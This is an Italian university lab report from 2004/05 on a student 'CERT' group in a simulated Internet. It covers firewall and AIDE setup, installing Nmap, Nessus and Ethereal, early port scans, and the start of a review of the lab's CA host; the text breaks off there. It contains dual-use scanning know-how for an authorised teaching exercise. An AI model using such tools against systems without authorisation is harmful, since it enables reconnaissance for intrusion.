UNIVERSITA’ DEGLI STUDI DI SALERNO -...

Simulazione della rete Internet Gruppo Cert

Sicurezza su Reti II, A.A. 2004/05 Pagina 1 di 88

UNIVERSITA’ DEGLI STUDI DI SALERNO FACOLTA’ DI SCIENZE MATEMATICHE

FISICHE E NATURALI

LAUREA SPECIALISTICA IN INFORMATICA ANNO ACCADEMICO 2004-2005

Sicurezza su Reti II Prof. Alfredo De Santis

Simulazione della rete Internet

GRUPPO CERT Cembalo Maurizio

Giordano Domenico



Indice

Introduzione ..............................................................4

Missione .................................................................................................4

Organizzazione.......................................................................................5

1 Primo stadio: installazione del sistema............7

1.1 Installazione sistema operativo e setup.....................................7

1.2 Allestimento dell’infrastruttura di difesa .....................................8

1.2.1 Firewall ......................................................................................... 8 1.2.2 NetFilter e IPTables ...................................................................... 9 1.2.3 Il firewall realizzato...................................................................... 10 1.2.4 IDS – Intrusion Detection System ............................................... 11

1.3 Allestimento dell’infrastruttura di attacco .................................15

1.3.1 Portscanner: Nmap ..................................................................... 15 1.3.2 Scanner delle vulnerabilità: Nessus ............................................ 17 1.3.3 Packet sniffing: Ethereal ............................................................. 22

1.4 Testing del sistema sull’host CERT .........................................24

2 Secondo stadio: analisi dei gruppi .................25

2.1 CA – Certification Authority......................................................26

2.2 ISP1 – Internet Service Provider 1 ..........................................32

2.3 ISP2 – Internet Service Provider 2 ..........................................37



3 Terzo stadio: le commesse ..............................42

3.1 Descrizione..............................................................................42

3.2 Soluzione proposta ..................................................................43

3.2.1 Lavoro compiuto ......................................................................... 43 3.2.2 Analisi del sito proposto .............................................................. 44

4 Bibliografia ........................................................56

Appendice A – Il firewall ........................................58

Appendice B – Le scansioni ..................................70

Tipi di scansione ....................................................................................... 70 La scansione TCP connect() ..................................................................... 70 La scansione "semiaperta"SYN................................................................. 71 La scansione "elusiva" (stealth)................................................................. 71 Le scansioni RST ...................................................................................... 72 La scansione FTP Bounce (FTP di rimbalzo) ............................................ 73 La scansione TCP Ident inversa................................................................ 73

Appendice C - Codice sorgente di alcuni exploit 74



Introduzione Obiettivo del corso di Sicurezza su Reti II, tenutosi nell'anno accademico 2004/2005,

è stato quello di realizzare una Internet locale che simulasse le reali componenti

operanti nella Internet mondiale che ci circonda.

La simulazione è stata realizzata attraverso i gruppi CA, ISP1, ISP2 e CERT ognuno

dei quali con determinate mansioni all'interno della simulazione. L’obiettivo del gruppo

CERT è stato quello di testare la sicurezza delle installazioni degli altri gruppi e

suggerire le modifiche da apportare per migliorare sempre più il livello di sicurezza

raggiunto.

Questo documento raccoglie tutti i passi compiuti dal gruppo CERT e le sue

interazioni con gli altri gruppi ed è strutturato nel modo seguente:

• Capitolo 1: descrive l’installazione e la configurazione del sistema utilizzato

dal gruppo per poter svolgere il proprio lavoro;

• Capitolo 2: descrive l’analisi delle configurazioni degli host CA, ISP1 e ISP2

nonché delle procedure di erogazione dei servizi che questi offrono;

• Capitolo 3: analisi delle commesse giunte al gruppo con le soluzioni proposte

e i gruppi coinvolti.

Missione Il Computer Emergency Response Team (da adesso CERT), ha il compito di

eseguire attività di ricerca e di sviluppo orientate al rilevamento di vulnerabilità di

applicazioni e allo sviluppo d’eventuali tools per la comunicazione.

In generale, i compiti del CERT sono:

• assistere gli utenti nella gestione degli incidenti di sicurezza;

• rispondere alle segnalazioni d’incidenti, avvertendo gli utenti coinvolti e

seguendone gli sviluppi;



• diffondere informazioni sulle vulnerabilità più comuni e sugli strumenti di

sicurezza da adottare;

• assistere gli utenti nel realizzare le misure preventive ritenute necessarie per

ridurre a livelli accettabili il rischio d’incidenti;

• emanare direttive sui requisiti minimi di sicurezza per le macchine con accesso

alla rete, verificandone il rispetto;

• mantenersi aggiornato allo stato dell'arte sugli strumenti e le metodologie per

la sicurezza;

• provare strumenti esistenti e svilupparne di nuovi per esigenze specifiche.

Organizzazione La simulazione si è svolta attraverso vari stadi ognuno dei quali con una propria

finalità:

• Primo stadio: sono state prese le decisioni per quanto riguarda il sistema

operativo ed i software da utilizzare per la realizzazione dell’infrastrutture di

difesa e di attacco dell’host CERT;

Si è provveduto quindi all’installazione e configurazione dei suddetti software.

• Secondo stadio: sono state analizzate le configurazioni degli host partecipanti

alla simulazione, verificate le procedure di erogazione dei servizi nonché

l’ulteriore software prodotto dai gruppi, se presente. E’ stato rilasciato ai

gruppi un documento che attesta tutte le vulnerabilità riscontrate per favorire la

loro risoluzione;

• Terzo stadio: si è provveduto a soddisfare le richieste delle commesse

giunteci.



Il gruppo ha operato congiuntamente in ognuno degli stadi attraversati dividendosi il

lavoro che si rendeva necessario effettuare al momento. In particolare

Primo stadio Cembalo

• Documentazione sistemi operativi (linux)

• Installazione sistema operativo Linux

• Documentazione Firewall, IDS

• Installazione e configurazione sistema di difesa

Giordano • Documentazione sistemi

operativi (Windows) • Configurazione sistema

operativo Linux • Documentazione

Portscanner, Scanner-Vulnerability, Ethereal

• Installazione e configurazione sistema di attacco

Secondo Stadio

Cembalo • Analisi del gruppo CA • Analisi del gruppo ISP2 • Realizzazione documento di

supporto ai gruppi

Giordano • Analisi del gruppo ISP1 • Analisi del gruppo ISP2 • Revisione del documento di

supporto ai gruppi

Terzo Stadio

Org

aniz

zazi

one

Cembalo • Documentazione su Php, Sql

Injection • Analisi del sito loggia

massonica P2.1 • Tentativi di attacchi su php,

Sql Injection

Giordano • Documentazione su Telnet,

Ftp, DoS • Analisi del sito loggia

massonica P2.1 • Tentativi di attacchi su Ftp,

Sql Injection



1 Primo stadio: installazione del sistema In questo primo stadio il gruppo si è occupato dell’installazione del sistema operativo

e della sua configurazione, nonché la creazione dell’infrastruttura di difesa e di

attacco. Per infrastruttura di difesa si intende l’installazione di una serie di programmi

atti a difendere l’host CERT da eventuali attacchi di componenti esterne, quindi si

sono installati un firewall e un Intrusion Detection System che permette di rilevare

anomalie sul filesystem provocate da utenti non autorizzati.

L’infrastruttura di attacco invece è composta da un insieme di programmi utili per

analizzare e monitorare computer remoti: nella fattispecie sono stati installati un

portscanner, un analizzatore delle vulnerabilità e un packet sniffing che permette di

catturare pacchetti sulla rete anche se non diretti al nostro host.

1.1 Installazione sistema operativo e setup La macchina a disposizione del gruppo CERT è una computer IBM compatibile dotato

di microprocessore Intel Pentium III con una frequenza di clock di 800 MHz,

equipaggiato con 192 MB di RAM e un HD da 8 Gigabyte.

Il sistema operativo scelto è un sistema Linux. È stato preferito ad un sistema

Windows perché i sistemi Linux sono sistemi operativi OpenSource, sono molto

stabili, hanno un’ottima documentazione e una ricca gamma di software per la

sicurezza.

La distribuzione scelta è la “GNU/Slackware Linux 10.1”. Dalla versione 9.0 la

Slackware è divenuta maggiormente accessibile. Parecchi sono, infatti, gli strumenti

di configurazione (da xf86config ad alsaconf, da netconfig a ifconfig, da wxmconfig a

ldconfig e via dicendo) che, sebbene non grafici come quelli di altre distribuzioni,

svolgono con molta efficacia il loro compito. Questa distribuzione è molto “lineare”, è

ciò la rende veloce nell’esecuzione, d’altro canto l’installazione e configurazione

risultano ostiche, anche perché non esiste nessun tool di configurazione in modalità

grafica (ad esempio Yast per SuSE).



1.2 Allestimento dell’infrastruttura di difesa Per garantire l’inespugnabilità dell’host CERT si è provveduto alla configurazione

ottimizzata di un firewall implementato dal Netfilter di Linux. Lo strumento IPTables

permette la gestione del sistema di packet filtering preposto al rilevamento di traffico

considerato dannoso per l’host. Si è provveduto, inoltre, all’installazione di un

Intrusion Detection System, nella fattispecie AIDE, che permette all’amministratore,

nel caso in cui un attancante riesca ad oltrepassare le politiche di firewalling, di

rilevare eventuali modifiche al file system.

Nei sottoparagrafi seguenti saranno fornite alcune nozioni sul firewalling e sugli

Intrusion Detection System per affrontare poi l’analisi del firewall realizzato e

l’installazione dell’IDS AIDE.

1.2.1 Firewall

Il firewall isola un computer in rete da eventuali attacchi esterni. Essi possono essere

implementati in diversi modi:

• Packet filtering firewall: questo tipo di firewall viene nominato “packet

filtering“ poichè si incarica di monitorare ogni singolo pacchetto in

entrata/uscita dalle proprie interfacce (eth0, eth1, ...) di rete valutando la

possibilità di accettazione o meno del singolo pacchetto in conformità ad

apposite “Access Control List” (discriminazione in base all'ip

sorgente/destinazione, al numero di porta, al MAC address...) definite in fase

di configurazione dall'amministratore di sistema, rifacendosi alla pila ISO/OSI;

i firewall di tipo “packet filtering” hanno la facoltà di analizzare il traffico fino a

livello trasporto, quindi: discriminazione in base al livello fisico, al livello data

link, al livello di rete o, ovviamente, a livello trasporto;

• Proxy firewall: garantisce il controllo d'accesso a livello applicazione

attraverso il suo inserimento nel traffico client/server generato tra pc intranet e

server remoto.



Tra i vantaggi del “packet filtering” è da ricordare:

• possibilità di utilizzare hardware generico;

• vasta gamma di configurazioni;

• nessun costo di software;

• notevole documentazione disponibile.

Tra gli svantaggi:

• necessità di una buona preparazione tecnica;

• scarsa presenza di tool grafici di gestione della struttura creata;

• elevato costo di eventuali consulenti esterni.

1.2.2 NetFilter e IPTables

Nella famiglia di kernel 2.4.x e 2.6.x è stato introdotto in via stabile il pacchetto

“Netfilter” per la gestione del sistema di filtraggio dei pacchetti. Questo sistema è

suddiviso in due parti correlate ma distinte:

• Netfilter, kernel space, codice integrato direttamente all'interno del kernel di

Linux e indispensabile al sottosistema di filtraggio pacchetti;

• IPTables, user space, pacchetto utile alla gestione/modifica/configurazione del

sottosistema di filtraggio dei pacchetti.

Quanto detto precedentemente riguardo al funzionamento del “packet filtering” è

corretto, ma necessita di ulteriore specificazione: alcuni firewall appartenenti a questa

famiglia non si limitano a monitorare gli header dei pacchetti che attraversano le

interfacce di rete ma tengono traccia del loro passaggio andando a creare uno storico

delle connessioni. Questo tipo di tecnologia vene chiamata “stateful inspection” e

consente di decidere politiche di accettazione e negazione conforme alla tipologia di

stato della connessione. Il concetto di “connection tracking”, implementato in

“Netfilter”, è intrisicamente legato al mantenimento in memoria di informazioni

riguardanti connessioni quali: indirizzo ip sorgente/destinazione, porte, tipi di

protocollo, timeout e stato della connessione.



1.2.3 Il firewall realizzato

Per stabilire le politiche di sicurezza del firewall è stato realizzato uno script bash,

fornito nell’allegato A, che permette di interagire dinamicamente con il tramite di

Netfilter ossia IPTables.

Scopo dello script è quello di rendere automatico una serie di chiamate a IPTables

che nel complesso realizzano il sistema di blocco dei pacchetti ritenuti maliziosi. Esso

inoltre contiene una sezione di configurazione che permette di esplicitare le porte che

dovranno risultare aperte oppure chiuse al mondo esterno.

Il meccanismo di funzionamento di Netfilter si basa sul concetto di Chain (Catena),

ossia un insieme di regole concatenate che vanno ad agire sulle intestazioni IP dei

pacchetti per verificarne la corrispondenza.

Le chain di default sono:

• INPUT (pacchetti in entrata)

• FORWARD (pacchetti inoltrati, nel caso il sistema sia un router)

• OUTPUT (pacchetti in uscita)

Per migliorare la gestione del firewall è possibile creare catene aggiuntive e redirigere

i pacchetti verso di esse se determinate condizioni risultano verificate. Un pacchetto

può essere accettato o rifiutato con o senza comunicazione al mittente del suo

rigetto.

Segue lo schema del flusso dei pacchetti lungo le catene:



Figura 1: Flusso dei pacchetti all'interno delle chain del firewall realizzato

1.2.4 IDS – Intrusion Detection System

Per essere certi di aver eliminato dal nostro sistema le vulnerabilità non basta

effettuare l’hardening, attivare un efficace antivirus ed eliminare i servizi superflui del

sistema.

Di fatto ogni procedura, per quanto robusta possa essere, risulterebbe sicuramente

inadeguata a medio/lungo termine. Nell’ipotesi in cui un attaccante utilizzi una

vulnerabilità non nota, potrà in ogni caso accedere ad una o più risorse locali

nonostante le precauzioni prese.

Per questo motivo è necessario mostrare una buona reattività ed operare le



opportune modifiche alle misure di sicurezza.

Uno dei modi per garantire un alto livello di sicurezza ad un sistema è quello di

assicurarsi che siano segnalati spontaneamente determinati cambiamenti. Un

sistema di rilevamento delle intrusioni (IDS) è normalmente rappresentato da uno o

più sistemi il cui compito è quello di rilevare i cambiamenti di stato dell’host o della

rete e eventualmente comunicarlo all’amministratore di sistema. Se il colpevole

dell’intrusione non lascia alcuna traccia del proprio passaggio è estremamente

difficile non solo scoprirne l’identità, ma anche semplicemente accorgersi

dell’avvenuta infrazione. Per poter rilevare l’intrusione è quindi indispensabile che

l’intruso lasci tracce significative.

I sistemi IDS adottano strategie diverse in relazione al tipo di rilevamento delle

intrusioni implementato. Alcuni esempi di seguito:

• Sistemi IDS basati su regole o sulle firme: è la soluzione più comune,

soprattutto la più facile da realizzare. Una volta caricate correttamente tutte le

firme, il grosso del lavoro è già fatto. Il punto fondamentale d’attenzione è che

un applicativo del genere necessita firme aggiornate in modo continuo. Come

per gli antivirus, se il database delle firme non è aggiornato, il sistema non

rileva gli attacchi di tipo più recente, e non è in grado di contrastarli.

• Sistemi IDS basati su anomalie: in questo caso il sistema tende a studiare il

comportamento dell’utente, confrontandolo con un profilo di comportamento

ritenuto normale e segnalando come sospette le deviazioni significative. Oltre che per la diversa strategia applicata, i sistemi di rilevamento delle intrusioni

possono essere suddivisi in due categorie principali:

• Applicazioni IDS basate sull’host: questo tipo di IDS è specializzato

nell’analisi dei file di registro del sistema, o nella scansione del disco rigido,

con il conseguente avviso dell’utente nel caso in cui esegua un’azione ritenuta

anomala.



• Applicazioni IDS di rete: questo tipo di IDS sorveglia il traffico che attraversa

la rete, segnalando le eventuali anomalie.

Le applicazioni IDS basate sull’host sono suddivise in due tipologie:

• Analizzatori di accesso

• Analizzatori dell’unità di sistema

Nel primo caso i daemon scandiscono i file di registro in tempo reale, vanno alla

ricerca di connessioni di rete aperte, e si occupano del monitoraggio delle porte del

sistema.

Gli analizzatori dell’unità di sistema scandiscono l’intero sistema tenendo in

considerazione anche le periferiche e creano un database nel quale sono registrate le

condizioni originarie delle unità scandite. A seguito di un determinato cambiamento di

stato, l’analizzatore, accertatosi dell’anomalia, segnalerà prontamente il problema. Alcuni software di IDS basati sull’host sono:

• TripWire

• AIDE – Advanced Intrusion Detection Environment

• LIDS – Linux Intrusion Detection System

Dopo diverse ricerche in rete la cerchia si è ristretta solo ai primi due IDS e la scelta è

stata dettata da un’attenta analisi delle caratteristiche dei suddetti.

Entrambi i programmi fanno il loro lavoro e lo fanno egregiamente ma hanno features

differenti che fanno cadere l’ago della bilancia da un lato o dall’altro a seconda delle

esigenze applicative. Se si ha necessità di utilizzare database firmati allora si ha

l’obbligo di utilizzare tripwire altrimenti le doti di velocità e la semplicità della

configurazione fanno optare per Aide. Necessitando il CERT di un software che

prediligesse la velocità anziché l’assoluta sicurezza per il proprio database la scelta è

caduta su AIDE.

La procedura d’installazione e quella classica degli applicativi Linux forniti sotto forma



di files sorgenti ossia:

$ ./configure

$ make

# make install

In seguito all’installazione dell’IDS si è resa necessaria la configurazione del

programma; AIDE è configurabile attraverso un file di testo all’interno del quale è

possibile specificare a quali controlli devono essere sottoposte determinate directory.

Ad esempio è possibile controllare se per un file, nel tempo, cambino i permessi, il

numero di links o l’hash. Tali cambiamenti, infatti, possono indicare un’alterazione del

file, che appuntata in un file di log, è di competenza dell’amministratore controllare

periodicamente. Il file di configurazione di AIDE specificato per l’host CERT è il

seguente: #AIDE conf # Here are all the things we can check – # these are the default rules # #p: permissions #i: inode #n: number of links #u: user #g: group #s: size #b: block count #m: mtime #a: atime #c: ctime #S: check for growing size #md5: md5 checksum #sha1: sha1 checksum #rmd160: rmd160 checksum #tiger: tiger checksum #R: p+i+n+u+g+s+m+c+md5 #L: p+i+n+u+g #E: Empty group #>: Growing logfile p+u+g+i+n+S CertRule = p+i+n+u+g+s+b+m+c+md5+sha1 # Next decide what directories/files you want in the database /etc p+i+u+g # check only permissions, inode,

# user and group for etc /bin CertRule # apply the custom rule to the files in bin /sbin CertRule # apply the same custom rule to the files in sbin /var CertRule !/var/log/.* # ignore the log dir it changes too often !/var/spool/.* # ignore spool dirs as they change too often !/var/adm/utmp$ # ignore the file /var/adm/utmp



1.3 Allestimento dell’infrastruttura di attacco Essendo uno dei compiti del CERT quello di garantire la sicurezza dell’intera

infrastruttura di simulazione della rete Internet, si rendono necessari degli strumenti

che permettano di misurare la qualità del sistema di difesa degli altri host.

I software scelti sono: un portscanner (Nmap), un scanner delle vulnerabilità (Nessus)

e uno sniffer per il controllo del traffico di rete (Ethereal). Nei sottoparagrafi seguenti

saranno evidenziate le caratteristiche dei tool scelti con le istruzioni per la loro

installazione ed eventuale configurazione.

1.3.1 Portscanner: Nmap

Nmap ("Network Mapper") é un programma OpenSource per l'esplorazione delle reti

e gli esami di sicurezza. Esso è concepito per esaminare rapidamente delle grandi

reti, ma funziona perfettamente anche su dei singoli host. Nmap utilizza dei semplici

pacchetti IP per determinare quali host remoti sono in linea, quali servizi sono aperti

(porte), quale sistema operativo (e quale versione), che tipi di filtri e firewalls sono

operativi, e una dozzina di altre caratteristiche. Nmap gira sulla maggior parte dei

computer, in versione grafica o in modalità testo. Nmap é un programma libero

coperto dalla licenza GNU GPL.

Nmap è un portscanner avanzato e performante per sistemi Unix, solitamente

installato di default su parecchie distribuzioni Linux. L'interfaccia presentata all'utente

è di tipo testuale e richiede spesso i privilegi di root per poter utilizzare componenti

critiche del Kernel (come i raw socket).

Nmap è

• Flessibile: Supporta dozzine di tecniche avanzate per il mapping di reti

coperte da IP filters, firewalls, routers, ed altri ostacoli. Include diversi

meccanismi di portscanning (sia TCP che UDP), OS detection, version

detection, ping sweeps, e altri;



• Potente: Nmap è stato utilizzato per esaminare enormi reti di centinaia di

migliaia di macchine;

• Portabile: Sono supportati la maggior parte dei sistemi operativi inclusi Linux,

Microsoft Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX,

NetBSD, Sun OS, Amiga, ed altri;

• Semplice: Anche se Nmap offre un ricco set di funzionalità avanzate per gli

utenti esperti, è possibile iniziare ad usarlo semplicemente digitando “nmap –v

A targethost”;

• Free: L’obiettivo principale del progetto Nmap è quello di rendere Internet un

po’ più sicura e fornire agli amministratori e hackers uno strumento avanzato

per l’analisi delle loro reti. Nmap è disponibile per un download libero e viene

distribuito sotto licenza GPL;

• Ben Documentato: È stato fatto un significativo sforzo per rendere esaurienti

ed aggiornate le pagine del man, whitepapers e tutorials;

• Acclamato: Nmap ha vinto numerosi premi, incluso l’ "Information Security

Product of the Year"ne ‘98 da Linux Journal, Info World and Codetalker Digest

ne ‘99. È stato protagonista in centinaia di articoli di giornale ed è persino

raccomandato da Microsoft;

• Popolare: Ogni giorno migliaia di persone scaricano Nmap, ed esso è incluso

in diversi sistemi operativi (Slackware Linux, Debian Linux, Gentoo, FreeBSD,

OpenBSD, etc). Nmap è ad oggi tra i migliori 15 programmi (out of 30,000) nel

Freshmeat.net repository;

Nel caso fosse necessario installarlo è possibile farlo utilizzando i pacchetti binari

(quali rpm, Slackware Pkg, etc), o direttamente compilando i sorgenti.

Per installare nmap dai sorgenti bisogna innanzi tutto ottenere l'ultima release stabile

del portscanner dal sito ufficiale. In seguito si procede con lo scompattamento del

tarball (tar -zxvf nmap...tar.gz) e la compilazione e installazione con i comandi in

sequenza: $ ./configure

$ make

# make install



Una volta installato il software è già possibile effettuare monitoring o attacchi a

sistemi senza ulteriori configurazioni.

1.3.2 Scanner delle vulnerabilità: Nessus

Nessus è un progetto che ha come scopo quello di fornire alla comunità uno

strumento potente, facile, free per analizzare e scoprire le vulnerabilità di una rete.

Frutto di tale progetto è l'omonimo programma che si rivela un ottimo strumento per

automatizzare il testing e la scoperta dei problemi di sicurezza più conosciuti.

Nessus è capace di identificare un elevato numero di potenziali vulnerabilità

all'interno di una rete, producendo report dettagliati dei problemi riscontrati.

Per ogni problema individuato fornisce:

• Descrizione;

• Livello di attenzione;

• Codici CVE e Bugtrack;

• Suggerimenti per eliminare il bug.

Con oltre 1800 test di sicurezza inclusi (e altri aggiungibili quotidianamente), Nessus

è in grado di identificare le vulnerabilità e suggerire la strategia atta a risolvere le falle

di sicurezza. Le principali caratteristiche di Nessus sono:

• Scanning intelligente: A differenza di altri security-scanner Nessus non da

niente per scontato. Cioè non considererà che un dato servizio sia attivo su

una determinata porta, in altre parole se un web server è attivo sulla porta

1234, Nessus lo rileverà e testerà la sua sicurezza. Nessus non cercherà di

determinare la vulnerabilità basandosi esclusivamente sul numero di versione

del web server, ma testandola realmente;

• Architettura modulare: l'architettura client-server consente una notevole

flessibilità nell'organizzare lo scanner (server) e la GUI (client) in configurazioni

multiple riducendo così i costi di gestione (un unico server potrà essere

utilizzato da più client).



Funzionalità

• Plug-in architecture: Ogni test di sicurezza è scritto come un plug-in esterno.

In questo modo sarà possibile aggiungere facilmente nuovi test senza essere

a conoscenza del "core" di Nessus;

• Compatibilità CVE: Ogni plugin contiene un link al CVE affinché gli

amministratori possano informarsi nel modo più esauriente sulla vulnerabilità

testata. Inoltre include anche riferimenti al CERT, Bugtraq e gli avvertimenti di

sicurezza dei produttori di software;

• NASL: Nessus include NASL (Nessus Attack Scripting Language), ovvero un

linguaggio progettato per la scrittura di test di sicurezza in modo facile e

veloce;

• Database delle vulnerabilità “up-to-date”: Il database delle vulnerabilità è

aggiornato quotidianamente e reso accessibile in rete;

• Possibilità di testare un numero non fissato di host allo stesso tempo:

Questa funzionalità dipende dalla potenza della macchina su cui è installato

Nessus in modo tale da testare contemporaneamente due, dieci o quaranta

host;

• Report completi: Nessus non si limita ad informarti delle vulnerabilità della

rete testata bensì suggerisce strategie risolutive ai problemi riscontrati;

• Report esportabile: I report di Nessus possono essere esportati in diversi

formati (XML, Html, text, LaTeX);

• Supporto SSL: Nessus permette il testing di servizi sicuri implementati

attraverso il protocollo SSL quali https, smtps, imaps ed altri;

• Non distruttivo (opzionale): se non si vuole correre il rischio di interrompere i

servizi sulla rete testata è possibile abilitare l'opzione “safe checks” che

impedirà Nessus di eseguire exploits pericolosi per individuare la presenza

della vulnerabilità;

• Sviluppatori indipendenti: gli sviluppatori di Nessus sono indipendenti dal

resto del mondo, perciò non hanno nessun interesse a nascondere

vulnerabilità.



Prima di procedere all'installazione di Nessus, occorre che sulla macchina siano

installati i seguenti software:

• OpenSSL (sia per il server che il client)

• Nmap (per il server)

• GTK+ 2.2 comprensivo di gtk-config (per il client X Window)

• GCC (sia per il server che il client)

Nessus si trova disponibile in rete, dato che una delle sue caratteristiche è quello di

essere un software libero distribuito sotto licenza GPL; sul sito ufficiale è presente,

oltre al programma, anche la documentazione. Il programma è costituito da quattro elementi:

• nessus-libraries-x.x.x.tar.gz

• libnasl-x.x.x.tar.gz

• nessus-core-x.x.x.tar.gz

• nessus-plugins-x.x.x.tar.gz

da installare tutti nell'ordine indicato.

Si tratta di due pacchetti di librerie, il nucleo principale del programma (nessus-core)

ed una serie di plugin (nessus-plugins). La procedura di installazione richiede quindi

un certo numero di passi, basta dare i seguenti comandi:

Installazione nessus-libraries $ tar zxvf nessus-libraries-x.x.x.tar.gz

$ cd nessus-libraries

$ ./configure

$ make

# make install

Installazione libnasl-x.x.x.tar.gz $ tar zxvf libnasl-x.x.x.tar.gz

$ cd libnasl

$ ./configure

$ make

# make install



Installazione nessus-core-x.x.x.tar.gz

$ tar zxvf nessus-core-x.x.x.tar.gz

$ cd nessus-core

$ ./configure

$ make

# make install

Installazione nessus-plugins-x.x.x.tar.gz

$ tar zxvf nessus-plugins-x.x.x.tar.gz

$ cd nessus-plugins

$ ./configure

$ make

# make install

Dei comandi indicati, solo l'ultimo di ogni pacchetto (make install) deve essere

dato da root, gli altri possono essere dati anche da utente normale. La compilazione

prevede anche una serie di flag per abilitare/disabilitare particolari funzioni, in ogni

modo si può benissimo utilizzare la configurazione di default. Il programma viene

installato in /usr/local, e le relative librerie in /usr/local/lib.

In alcune distribuzioni è necessario dire al programma dove trovare le librerie:

bisogna aggiungere al file /etc/ld.so.conf la seguente linea: /usr/local/lib

e lanciare il programma:

# ldconfig

Attenzione che ldconfig non dà nessun output, comunque esegue correttamente il

suo lavoro. A questo punto si può lanciare da root il programma:

# nessus-mkcert

che serve a generare un certificato di sicurezza utilizzato da Nessus: si possono



lasciare le scelte di default che il programma propone automaticamente.

Figura 2: Generazione dei certificati per Nessus

dopo di che bisogna lanciare:

$ nessus-adduser

che serve per creare un utente abilitato all'utilizzo di Nessus. Inoltre è possibile

limitare le operazioni dell'utente che si sta definendo attraverso un insieme di regole

associate all'utente stesso. La sintassi è:

accept|deny ip/mask

default accept|deny

Queste regole permettono o negano la scansione ad un determinato IP, in più si deve

definire la regola di default che dovrà essere specificata per ultima.

In quest’esempio è stato aggiunto un utente che si autenticherà utilizzando una

password, con i permessi di testare esclusivamente gli hosts sulla rete

193.205.161.0/24:



Figura 3: Abilitazione dell’utente maucem all’uso di Nessus

Se si vuole utilizzare un certificato, al posto della password, per l'autenticazione

occorre generare il certificato del client attraverso nessus-mkcert-client.

Teniamo presente che bisogna creare almeno un utente per usare Nessus. Ora il

programma è installato, configurato e pronto a lavorare per noi.

Bisogna ricordare che risulta essenziale tenere questo tipo di software aggiornato,

infatti molti attaccanti attendono, anche se potrebbe essere questione di mesi, nuove

vulnerabilità che potrebbero garantire l'accesso al sistema senza grosse difficoltà.

Nessus fornisce il programma per aggiornare i plugin (nessus-update-plugins),

scaricando i file dal sito, decomprimendoli e installandoli.

1.3.3 Packet sniffing: Ethereal

Ethereal è un network packet analyzer, cioè un software in grado di catturare i



pacchetti trasmessi in una rete e di analizzare ogni pacchetto in modo dettagliato.

Ethereal è in grado di riconoscere ed analizzare un’enorme varietà di protocolli

differenti, e fornisce all'utente l'accesso a tutte le informazione pertinenti a ciascun

protocollo. Il programma è dotato di un’interfaccia grafica che rende l'operazione di

analisi del traffico in rete semplice, veloce ed intuitiva. Si tratta di uno strumento molto

potente e di indubbia utilità per l'amministratore di rete.

Vantaggi:

• Supporta diversi tipi di rete, tra cui Ethernet, 802.11, FDDI, Token Ring e

ATM;

• Supporta innumerevoli protocolli a vari livelli (collegamento, rete, trasporto,

applicazione) ;

• Permette di catturare e di salvare su file il traffico in rete per analisi future;

• Permette di importare ed esportare i dati catturati con molti altri analizzatori

di rete;

• Consente di filtrare i pacchetti e di effettuare ricerche tra i pacchetti

secondo molti criteri;

• Supporta la colorazione dei pacchetti basata sull'impostazione dei filtri;

• Genera utili statistiche sul traffico analizzato.

Per installare ethereal dai sorgenti bisogna innanzitutto ottenere l'ultima release

stabile dal sito ufficiale. Successivamente si procede con lo scompattamento del

tarball (tar -zxvf ethereal...tar.gz) e la compilazione e installazione con i comandi in

sequenza:

$ ./configure

$ make

# make install

Una volta installato il software è già possibile utilizzarlo.



1.4 Testing del sistema sull’host CERT Al fine di appurare il buon esito delle installazioni effettuate e la bontà della

configurazione della macchina sono state effettuate alcune sessioni di monitoring

(portscanning) sulle macchine degli altri partecipanti alla simulazione. Queste ultime,

ancora in una fase iniziale della configurazione, hanno comunque permesso di

esprimere un giudizio positivo sull’esito della fase di setup del CERT.

Inoltre durante questa fase di test si è potuto constatare un primo stato di sicurezza

delle macchine che non risulta documentato non avendo gli altri gruppi completato la

fase di setup.

• ISP1: mancanza di un firewall ben configurato (Lunedì 04/04/2005 – Ore

12:00)

• ISP2: il firewall risulta configurato in quanto le porte visibili risultano essere

soltanto quelle volute dall’amministratore del ISP2 (Lunedì 04/04/2005 – Ore

15:00)

• CA: la macchina si presenta sufficientemente protetta (anzi sembra down) ad

una prima analisi (Giovedì 07/04/2005 – Ore 12:00)



2 Secondo stadio: analisi dei gruppi Nel secondo stadio della simulazione si sono analizzati le installazioni e i servizi

offerti da parte degli altri gruppi partecipanti alla simulazione, ossia:

• Certification Authority: ha il compito di allestire una CA che permetta il rilascio

di certificati a chiunque ne faccia richiesta, quindi utenti o server web;

• Internet Service Provider 1: ha il compito di gestire i nomi di dominio della rete

Internet simulato e di fornire il servizio di Network Time;

• Internet Service Provider 2: ha il compito di fornire servizi web, quali siti o

applicazioni, spazio web con supporto php e mysql, spazio ftp e servizi di

webmail.

Figura 4: I gruppi partecipanti alla simulazione

L’analisi dei gruppi da parte del CERT è stata condotta ottemperando alla seguente

serie di passi:

• Descrizione dell’infrastruttura software rilevata tramite intervista dei

componenti del gruppo in analisi;

• Descrizione dell’infrastruttura software rilevata tramite Nessus;



• Descrizione delle procedure di erogazione dei servizi;

• Analisi del sistema effettuata con Nessus;

• Falle di sicurezza nelle procedure utilizzate;

• Interazioni con il gruppo Cert.

Nei paragrafi seguenti saranno presentate le analisi dei gruppi, e ove necessario,

saranno dettagliate le modalità di analisi attraverso il software Nessus. Occorre

premettere che Nessus permette di scegliere, oltre alla tipologia di vulnerabilità da

testare, anche il livello Transport e Application del protocollo TCP/IP, soprattutto per

le interazioni con il portscanner Nmap. Inoltre è possibile specificare quali

vulnerabilità testare, ad esempio discrepando in base alla distribuzione Linux

installata, per ottimizzare il tempo di esecuzione dei test.

2.1 CA – Certification Authority In seguito all’intervista dei componenti del gruppo CA e l’analisi conoscitiva attraverso

Nessus, è emerso che il software installato è il seguente:

Software rilevato da intervista Software rilevato attraverso Nessus • Sistema operativo utilizzato:

Suse Linux 9.2

• Firewall configurato

attraverso Firestarter 1.0.3

• Apache 1.3.33

• MySQL 4.1.11

• OpenSSL 0.9.7g

• openCA 0.9.2.1

• Sistema operativo utilizzato:

Suse Linux

• Apache/1.3.33 (Unix)

• mod_perl/1.29

• PHP/4.3.2

• mod_ssl/2.8.22

• OpenSSL/0.9.7f

La diversità delle versioni di OpenSSL deriva dal fatto di non avere ricompilato

Apache con la nuova versione di OpenSSL. Conseguenza: il sistema utilizza la

versione 0.9.7g mentre Apache la versione 0.9.7f.



Descrizione delle procedure di erogazione dei servizi I servizi sono erogati dalla CA utilizzando l’interfaccia web proposta da OpenCA

localizzata in italiano e arricchita di alcuni link. Essendo l’interfaccia “complessa” il

gruppo ha realizzato una serie di guide passo-passo per la richiesta/ottenimento di un

certificato.

Figura 5: Generazione delle chiavi attraverso la CA



